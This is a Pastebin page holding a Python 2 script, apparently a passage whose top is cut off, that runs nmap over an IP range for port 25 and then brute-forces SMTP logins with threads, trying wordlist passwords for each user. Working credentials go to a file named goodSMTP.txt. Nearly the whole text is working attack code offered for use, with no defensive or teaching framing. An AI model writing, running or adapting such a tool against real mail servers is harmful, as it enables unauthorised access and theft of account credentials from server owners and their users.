Advertisement
Guest User

Python

a guest
Jun 22nd, 2016
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.15 KB | None | 0 0
  1. try:
  2. words = open(sys.argv[3], "r").readlines()
  3. except(IOError):
  4. print "Error: Check your wordlist path\n"
  5. sys.exit(1)
  6.  
  7. banner()
  8. print "[+] Scanning:",sys.argv[1]
  9. print "[+] Users Loaded:","(%s)" % sys.argv[2],len(users)
  10. print "[+] Words Loaded:","(%s)" % sys.argv[3],len(words)
  11.  
  12. wordlist = copy(words)
  13.  
  14. def scan():
  15. iprange = sys.argv[1]
  16. ip_list = []
  17.  
  18. try:
  19. nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 25')[1]).readlines()
  20. except:
  21. print "nmap error!"
  22.  
  23. for tmp in nmap:
  24. ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
  25. if ipaddr:
  26. ip_list.append(ipaddr[0])
  27. return ip_list
  28.  
  29. def reloader():
  30. for word in wordlist:
  31. words.append(word)
  32.  
  33. def getword():
  34. lock = threading.Lock()
  35. lock.acquire()
  36. if len(words) != 0:
  37. value = random.sample(words, 1)
  38. words.remove(value[0])
  39.  
  40. else:
  41. reloader()
  42. value = random.sample(words, 1)
  43.  
  44. lock.release()
  45. return value[0][:-1]
  46.  
  47. class Workhorse(threading.Thread):
  48.  
  49. def run(self):
  50. value = getword()
  51. try:
  52. print "-"*12
  53. print "IP: ", ip, "User: ", user, "Password: ", value
  54. smtp = smtplib.SMTP(ip)
  55. smtp.login(user[:-1], value)
  56. print "\t\nLogin successful:",user, value
  57. good = "IP: %s, User: %s, Pass: %s\n" % (ip, user, value)
  58. f = open("goodSMTP.txt","a")
  59. f.write(good)
  60. f.close()
  61. smtp.quit()
  62. work.join()
  63. sys.exit(2)
  64. except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
  65. pass
  66.  
  67. ip_list = scan()
  68. print "[+] Hosts Loaded:",len(ip_list),"\n"
  69.  
  70. for ip in ip_list:
  71. print "\n\tAttempting BruteForce:",ip,"\n"
  72.  
  73. try:
  74. helo = smtplib.SMTP(ip, timeout=10)
  75. print helo.helo(), "\n"
  76. helo.quit()
  77. except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
  78. print "\tServer doesn't support the Helo cmd\n"
  79.  
  80. print "Brute forcing..."
  81.  
  82. for user in users:
  83. for i in range(len(words)):
  84. if i == 0: reloader()
  85. work = Workhorse()
  86. work.start()
  87. time.sleep(2)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement